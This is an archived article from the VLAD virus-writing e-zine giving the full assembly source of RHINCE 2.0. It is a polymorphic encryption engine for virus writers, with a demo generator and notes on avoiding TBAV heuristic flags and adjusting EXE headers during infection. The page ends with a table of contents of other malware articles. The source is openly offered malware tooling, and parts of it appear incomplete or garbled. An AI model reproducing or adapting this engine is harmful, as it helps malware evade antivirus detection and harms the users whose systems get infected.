Virus Labs & Distribution

; RHINCE 2.0, by Rhincewind [Vlad]
; This is the accompanying textfile for RHINCE v2.0, where RHINCE stands for
; "Rickety and Hardly Insidious yet New Chaos Engine". There's been quite
; a lot of feedback on the original release, both positive and negative. The
; negative reviews mainly dealt with the engine being so obscenely
; ineffective. To you I say, you missed the point: RHINCE was and is an 
; experiment in writing small polymorphic engines using tables.
; I rewrote RHINCE because I came up with a method that I hoped would make
; it much, much shorter, say, under 300 bytes. Not so I'm afraid, the pure
; v1.0 rewrite amounted to 367 bytes.
; This version doesn't use encoding routines that use tables. No, it uses
; one encoding routine and a set of tables. In almost every engine, the
; routines all have a certain structure in common and yet they're never quite
; the same so optimisation by using subroutines is difficult. This is an
; easier approach:
; Encoding takes place byte for byte, and a tablestring is used to describe
; it's specifics. First byte in the string is the commandbyte:
;       bit 4   quote next byte.
;       bit 3   get random choice. next byte is the number of choices,
;               followed by the choices themselves.
;       bit 2   next byte is a mask indicating which bits to randomise.
;       bit 1   next byte is a mask for ANDing, the byte thereafter
;               is an illegal choice for the masked byte.
;       bit 0   next byte is a byte displacement used to jump to.
;               (for table optimisation)
; The commandbyte is followed by the arguments for the bit 4 command if it
; was set, then the arguments for bit 3 if it was set, et cetera. It's all
; in the code.
; So the original rewrite was finished but the engine's performance was still
; approximately zero. Tweaking done:
;        ** DAA DAS AAA AAS opcodes removed.   flagged by TBAV (@)
;        ** $+2 flowcontrol removed.           flagged by TBAV (G)
;           JO/JNO branching                   flagged by TBAV (@)
;        ** Forced first opcode to not be an   flagged by TBAV (G)
;           opcode needing previous register
;           contents
;        ** No longer builds decryptor inside  flagged by TBAV (#)
;           code, but rather on the heap.
; RHINCE v2.0 is almost TBAV heuristics proof. A negligible amount of
; samples still gets G flags on pointer references in the first 32 bytes.
; Then there is the occasional E, U, t or D flag probably caused
; by Thunderbyte interpreting the random byte and word values as code,
; i.e. signature scanning.
; Thunderbyte's heuristics are really interesting. The G flag for operations
; with uninitialised registers can only be triggered by the first 32 bytes
; of code (or so). The $+2 flowcontrol check is active throughout the
; program but the check for self-modifying code (which is how it detected
; v1.0) is only active in the first 512 bytes.
; Call Parameters:       CX      length of code to encrypt
;                     DS:DX      pointer to code to encrypt
;                        BP      offset code will be run at.
; Return Parameters:     CX      length of decryptor+encrypted code.
;                     DS:DX      pointer to decryptor.
; Caution:Engine assumes CS=DS=ES. Also as said above, RHINCE v2.0 builds
;         a decryptor on the heap. Please ensure that the heapspace is there!
;         In COM infection mind the maximum filelength you can infect. In
;         EXE infection you should check, and alter if necessary, the 
;         MINALLOC header field. If alteration of MINALLOC was necessary, 
;         see if MAXALLOC>MINALLOC. If not set MAXALLOC==MINALLOC.
; RHINCE v2.0: 377 bytes undiluted polymorphic generation code.
;                                                - Rhince.

        .model tiny
        org 100h

;Below is a small demogenerator. Assemble & run this file as is to generate
;an encrypted HELLO.COM file, cut/paste the engine code otherwise.

                mov ah,3ch
                xor cx,cx
                mov dx, offset file
                int 21h
                push ax
                mov dx, offset prog
                mov cx, (endprog-prog)
                mov bp, 100h
                call mut_eng
                pop bx
                mov ah, 40h
                int 21h
                mov ah, 3eh
                int 21h
                mov ah,9
                mov dx, offset msg
                int 21h
                int 20h
file            db '',0
msg             db 'Run HELLO.COM to decrypt and print a sacred VLAD scripture$'
prog:           mov ah,9
                call $+3
delta:          pop dx
                add dx, (str-delta)
                int 21h
                int 20h
str             db 'At the word of the dark judges, that word which '
                db 'tortures the spirit,',0dh,0ah
                db 'Kantza-Merada, even the goddess, was turned to a '
                db 'dead body,',0dh,0ah
                db 'Defiled, polluted, a corpse hangin'' from a stake.'
                db 0dh,0ah,0dh,0ah
                db 'Most strangely, Kantza-Merada, are the laws of the '
                db 'dark world effected.',0dh,0ah
                db 'O Kantza-Merada, do not question the laws of the '
                db 'nether world.',0dh,0ah,0dh,0ah
                db 'The goddess from the great above descended to the '
                db 'great below.',0dh,0ah
                db 'To the nether world of darkness she descended.',0dh,0ah
                db 'The goddess abandoned heaven, abandoned earth,',0dh,0ah
                db 'Abandoned dominion, abandoned ladyship,',0dh,0ah
                db 'To the nether world of darkness she descended.$'

;------ Engine starts here.

mut_eng:        mov di, offset resulting_code     
                inc cx
                shr cx,1
                mov word ptr [di-(resulting_code-cntr)],cx
                call get_rand
                mov ah,al
                call get_rand
                mov word ptr [di-(resulting_code-seed)],ax
                push bp
                push dx
                call get_rand
                and ax, 1
                call do_garbage_manual
                mov cx, 9
genloop:        push cx
                call get_rand
                and ax,0fh
                inc ax
                xchg ax,cx
gloop:          push cx
                call do_garbage
                pop cx
                loop gloop
                mov ax, 0c72eh
                mov al, 06
                pop cx
                mov bx,cx
                add bx,bx
                mov word ptr ds:[workspace-2+bx],di
                loop genloop
                pop si
                pop bp
                mov al, 0e9h
                mov cx, word ptr cntr
                mov ax,cx
                add ax,cx
                add ax, (endframe-framework)
                neg ax
                mov jmpback, ax
                lea bx, [di+bp+(-(offset resulting_code))]
                mov word ptr ptr, bx
                xor ax, word ptr seed
                loop cryptloop
                mov dx,di
                push di
                mov si, offset framework
                mov bx, offset resulting_code
                push bx
                sub bp,bx
                mov cx,9
fill_loop:      dec bx
                dec bx
                mov di, word ptr [bx]
                lea ax, [bp+si+(-(offset framework))]
                add ax,dx
                loop fill_loop
                pop dx
                pop cx
                sub cx,dx
get_rand:       in al,40h    
                rol al,1  ;RNG v2.0
                xor al, 0ffh
                org $-1
Randomize       db ?
                mov randomize,al
do_garbage:     call get_rand
                and ax, 0fh
                mov bx,ax
                mov bl, byte ptr [calltable+bx]
                xor bh,bh
                lea bp, [bx+poly]
                mov si,bp
                mov dh,al
                test dh,16
                jz dont_quote
                mov dl,al
dont_quote:     test dh,8
                jz  dont_select
                xchg ax,cx
                call get_rand
                xor ah,ah
                div cl
                xchg al,ah
                xchg ax,bx
                mov dl, byte ptr ds:[si+bx]
                add si,cx
dont_select:    test dh,4
                jz no_random_masking
                call get_rand
                and al, byte ptr ds:[si]
                or dl,al
                inc si
                test dh,2
                jz no_illegal
                and al,dl
                inc si
                cmp al, byte ptr ds:[si-1]
                jz interpret_string
no_illegal:     mov bp,si
                mov al,dl
                test dh,1
                jz no_jmp
                add bp,ax
no_jmp:         cmp byte ptr ds:[bp],0
                jnz interpret_string
calltable:      db rnd_mov_8 - poly
                db rnd_mov_16 - poly
                db onebyte - poly
                db incs - poly
                db incs - poly
                db arithmetic_8 - poly
                db arithmetic_16 - poly
                db big_class_0_40 - poly
                db onebyte - poly
                db big_class_40_80 - poly
                db big_class_80_c0 - poly
                db big_class_c0_100 - poly
                db rnd_mov_8 - poly
                db rnd_mov_16 - poly
                db rnd_mov_8 - poly
                db rnd_mov_16 - poly
big_class_0_40: db 00010100b,00000010b,00111001b,00000110b,00011111b
                db 00000111b,6,00
big_class_40_80:db 00010100b,00100010b,00011001b,00010111b,01000000b
                db 00011111b,00000111b,6,rndbyte-$
big_class_80_c0:db 00010100b,00100010b,00011001b,00010111b,10000000b
                db 00011111b,00000111b,6,rndword-$
                db 00010100b,00100010b,00011001b,00010110b,11000000b
                db 00011111b,00000111b,6,00
flow_control:   db 00010100b,72h,7,00010000b,0,0
arithmetic_8:   db 00010101b,00000100b,00111000b,rndbyte-$
arithmetic_16:  db 00010101b,00000101b,00111000b,rndword-$
rnd_mov_8:      db 00010101b,0b0h,7,rndbyte-$
rnd_mov_16:     db 00010110b,0b8h,07,07,04
rndword:        db 00000100b,0ffh
rndbyte:        db 00000100b,0ffh,0
incs:           db 00010110b,40h,0fh,7,4,0
onebyte:        db 00001000b,(end_onebyters-onebyters)
onebyters:      db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,9fh,9eh,99h,98h
                db 91h,92h,93h,95h,96h,97h
end_onebyters:  db 0
framework:      cld
                mov si, 1234h
ptr             equ $-2                
                mov cx, 1234h
cntr            equ $-2
frameloop:      xor word ptr cs:[si], 1234h
seed            equ $-2
                loop frameloop
                db 0e9h
jmpback         dw ?
workspace       db endframe-framework dup (?)
end start


ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag


ARTICLE.2_2       IBM-AV
ARTICLE.2_3       MIME Disasm
ARTICLE.2_4       Dark Fiber Tunneling
ARTICLE.2_5       Bait Detection
ARTICLE.2_6       MCB Stealth


Win95 Intro
ARTICLE.3_2       Win95 tute
ARTICLE.3_3       PE header format
ARTICLE.3_4       Bizatch
ARTICLE.3_5       The Boza Situation
ARTICLE.3_6       Bizatch News
ARTICLE.3_7       What's Next ?


Virus Descriptions
ARTICLE.4_2       Gilgamesh
ARTICLE.4_3       VIP
ARTICLE.4_4       SVL 1.2
ARTICLE.4_6       nimd00d3
ARTICLE.4_7       386 Virus


CLME Disasm
ARTICLE.5_2       Timber Wolf
ARTICLE.5_3       Serrelinda
ARTICLE.5_4       Insert v1.7
ARTICLE.5_5       Backwards
ARTICLE.5_6       TraceVir
ARTICLE.5_7       Lapis Lazuli

About VLAD - Links - Contact Us - Main